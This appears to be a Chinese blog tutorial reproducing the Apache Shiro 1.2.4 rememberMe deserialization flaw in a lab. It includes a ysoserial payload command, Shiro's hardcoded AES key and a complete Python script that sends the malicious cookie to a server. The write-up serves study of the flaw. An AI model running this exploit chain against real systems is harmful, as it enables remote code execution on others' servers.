vlambda博客
学习文章列表

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现




#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现



#学习笔记·Web篇#

Apache Shiro Java反序列化漏洞复现




#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现



最近学习Java反序列漏洞的相关知识,在Apache Shiro1.2.4版本环境下做了一个简单的POC,以熟悉用ysoserial项目进行漏洞利用的流程,将整个过程记录下来。欢迎大家留言探讨指出错误,非常感谢:)

参考资料:


https://www.freebuf.com/vuls/170344.html

https://blog.knownsec.com/2016/08/apache-shiro-java/


系统环境


windows 7操作系统,jdk 1.6.0_45,apache-maven-3.2.5。注意maven和jdk的版本要匹配,如何配置IDEA的jdk和maven环境可以参考网上诸多教程。


#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

漏洞分析








官方(https://issues.apache.org/jira/browse/SHIRO-550)对漏洞的描述简单讲就是:Shiro提供了RememberMe功能,用户不用每次都输入用户名密码登录,也可以在cookie中加入能让服务器识别自己的identity,默认 CookieRememberMeManager来处理用户的identity。当收到未认证用户发来的request请求,它会读取cookie中的rememberMe的值,然后将其Base64解码,再用AES解密,最后反序列化。AES的秘钥默认是硬编码的,这意味着任何人都可以通过源码获取该秘钥。因此,攻击者可以构造一个恶意的对象,将其序列化,AES加密,Base64编码后放到cookie中,Shiro的 CookieRememberMeManager将会触发恶意对象的反序列化。


#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

实验环境搭建





1. 获取Shiro项目源码

下载Apache Shiro代码至本地:

git clone https://github.com/apache/shiro.git

切换到存在漏洞的分支:

git checkout shiro-root-1.2.4。


2. 修改samples/web/pom.xml文件,这里是按参考资料中配置的。

<!--  需要设置编译的版本 --> <properties>    <maven.compiler.source>1.6</maven.compiler.source>    <maven.compiler.target>1.6</maven.compiler.target></properties>...<dependencies>    <dependency>        <groupId>javax.servlet</groupId>        <artifactId>jstl</artifactId>        <!--  这里需要将jstl设置为1.2 -->        <version>1.2</version>        <scope>runtime</scope>    </dependency>.....    <dependency>        <!--  添加可以利用的jar包,之后会解释 -->        <groupId>org.apache.commons</groupId>        <artifactId>commons-collections4</artifactId>        <version>4.0</version>    </dependency><dependencies>

3.编译打包部署Shiro

将整个工程通过pom.xml导入到IntelliJ IDEA。我喜欢尽量使用IDE来阅读和编译源码,毕竟它们提供了更多的集成编译环境,也方便跳来跳去看代码。

选择File->New->Project from Existing Sources

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

选择项目的pom.xml文件,点击OK。IDEA会自动解析依赖,并下载缺少的库,这里你需要等待一会儿,可以喝杯咖啡或发会儿呆休息一下。万分建议国内的朋友使用maven的镜像,不然可能会碰到各种依赖下载失败的ERROR,在setting.xml文件(IDEA在File->Settings的maven配置选项卡中可以指定该文件路径,通常在maven安装目录下的conf目录中)中配置mirror。

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

将工程编译并打包成war:在IDEA界面右侧的maven选项卡中,双击samples::web的package。

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

这时,我遇到了报错Please make sure you define the required toolchain in your ~/.m2/toolchain.xml file,如下图。

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

参考https://www.cnblogs.com/Ahanu/p/5051090.html的解决办法,我在.m2目录下放了一个toolchain.xml文件,在文件中指定了jdk1.6的路径。

此步骤成功后会在项目的samples/web/target/目录下生成samples-web-1.2.4.war。将这个war包拷贝到tomcat/webapps目录下,通过http://xxx.xxx.xxx.xxx:8080/samples-web-1.2.4/

就可以访问登录页面。


#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现
#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

漏洞利用



这里我尝试利用该漏洞来运行shrio服务器上的计算器程序。大家也可以在生成攻击负载的时候把command替换成任意自己想运行的命令。


1. 序列化恶意对象

水平有限,目前只能用大神的工具ysoserial来生成恶意对象的序列化后的文件。赫赫有名的ysoserial项目源码在这里https://github.com/frohoff/ysoserial。我没有自己去编译源码,而是直接下载了latest jar。

项目的ReadMe中有使用方法,需要在payload处指明系统使用的依赖库:

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现


注意:之前我们将samples/web/pom.xml中添加了commons-collections4.0的依赖改成了4.0,因此我们的payload就是CommonsCollections2。

运行如下命令,将结果输出到ysoserialpayload.bin文件中

>java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc.exe > ysoserialpayload.bin

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

2. 加密编码

我们来看看源码中是如何对rememberMe的值进行加密和编码的。

首先,CookieRememerMeManager继承了AbstractRememberMeManager,AbstractRememberMeManager中实现了加密函数,如下图。

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

调用的CipherService是AesCipherService,使用AES加密算法。

我们可以在AbstractRememberMeManager的源码中得到默认的加密秘钥:kPH+bIxk5D2deZiIxcaaaA==

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

现在有了加密算法和秘钥,还需要知道初始化向量InitializationVector(IV)。一路跟踪AesCipherService的父类,可以在JcaCipherService中找到对IV的处理。它随机生成了一个和秘钥一样长(128bit)的序列作为IV,然后将其和加密的结果拼接在一起作为结果返回。

由此可以推测,解密的时候,也是从前128个bit取出解密用的IV。

然后,CookieRememberMeManager中对序列化的值进行了Base64编码,该过程在rememberSerializedIdentity中,如下图。

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现

可以用python代码模仿这个调用过程来对恶意对象序列化结果加密和编码。Python的uuid模块可以生成固定的长度为128bit的ID,uuid.uuid4()通过随机数来生成UUID。我用它来生成IV,大家也可以使用其他任意生成128bit任意序列的方法。完整的利用代码如下(attack.py), AESEncryptAndBase64Encode函数为加密并编码的过程。

import base64import uuidimport requestsfrom Crypto.Cipher import AES
def AESEncryptAndBase64Encode(serialized):    block_size = AES.block_size  #通常为16    if len(serialized) % block_size !0:    #将待加密的明文补足为block_size的整数倍        serialized += ((block_size - len(serialized) % block_size) * chr(block_size - len(serialized) % block_size)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") mode = AES.MODE_CBC    iv =  uuid.uuid4().bytes    encryptor = AES.new(key, mode, iv)    output = iv + encryptor.encrypt(serialized)    value = base64.b64encode(output)    return value
if __name__=='__main__':    with open ("ysoserialpayload.bin""rb"as f:        payload = AESEncryptAndBase64Encode(f.read())        cookies={"rememberMe" : payload.decode()}    #在cookie中添加remeberMe requests.get("http://xxx.xxx.xxx.xxx:8080/samples-web-1.2.4/",cookies=cookies)


最后,运行python attack.py,如果幸运的话,你会在目标服务器上看到:

#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现



思考:构造目标环境下触发反序列化漏洞的恶意对象是一门艺术,是一件比较难的事情,需要对Java库有一定的了解,ysoserial在这方面给我们提供了一定的支持,想要深入学习的小伙伴可以详细去研究这个项目以及相关的slide和paper。另外十分重要的一点就是对目标Java程序进行分析,找到应用中的攻击点,也就是触发对序列化后的恶意对象的反序列化操作的点。这里有点绕,大家可以多顺一下,比如这个例子中对cookie中对rememberMe的反序列化。



注:本文中实验在仅可在模拟环境下进行,作为帮助学习和理解该知识点的参考,非法使用作者概不负责。学习漏洞的利用是为了更好地在生产中规避它们,技术无罪,人心难测。





多学习 多读书 多睡觉

少想些有的没的没用的